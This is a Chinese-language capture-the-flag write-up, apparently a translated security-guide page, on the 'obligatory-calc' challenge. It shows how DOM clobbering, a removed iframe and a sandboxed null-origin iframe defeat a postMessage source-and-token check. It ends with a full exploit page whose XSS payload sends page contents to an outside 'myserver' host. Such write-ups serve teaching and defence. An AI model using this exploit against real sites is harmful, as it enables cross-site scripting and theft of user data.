Bypassing SOP with Iframes - 2
SOP-2 中的 iframe
在这个 挑战 的 解决方案** 中,@Strellic_ 提出了与上一节类似的方法。让我们来看看。
在这个挑战中,攻击者需要 绕过:
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
如果他这样做,他可以发送一个包含HTML内容的postmessage,该内容将被写入页面中的**innerHTML
**,而不经过消毒(XSS)。
绕过第一个检查的方法是将**window.calc.contentWindow
设置为undefined
,将e.source
设置为null
**:
window.calc.contentWindow
实际上是**document.getElementById("calc")
。您可以使用<img name=getElementById />
来覆盖document.getElementById
**(请注意,消毒器API-此处-未配置为在其默认状态下防范DOM覆盖攻击)。因此,您可以使用**
<img name=getElementById /><div id=calc></div>
来覆盖document.getElementById("calc")
。然后,window.calc
将变为undefined
**。现在,我们需要**
e.source
为undefined
或null
(因为使用==
而不是===
,null == undefined
为True
)。获得这个是“容易的”。如果您创建一个iframe并从中发送一个postMessage**,然后立即删除该iframe,e.origin
将变为null
。请检查以下代码
let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null
为了绕过关于令牌的第二次检查,可以通过发送值为null
的**token
并使window.token
的值为undefined
**来实现:
在postMessage中发送值为
null
的token
是微不足道的。window.token
在调用使用**document.cookie
的函数getCookie
中。请注意,在null
来源页面中访问document.cookie
会触发一个错误**。这将使**window.token
的值为undefined
**。
最终解决方案由@terjanq提出,如下所示:following。
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');
function start(){
var ifr = document.createElement('iframe');
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = 'allow-scripts allow-popups';
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr);
function hack(){
var win = open('https://obligatory-calc.ctf.sekai.team');
setTimeout(()=>{
parent.postMessage('remove', '*');
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
},1000);
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
}
setTimeout(start, 1000);
</script>
</body>
</html>
最后更新于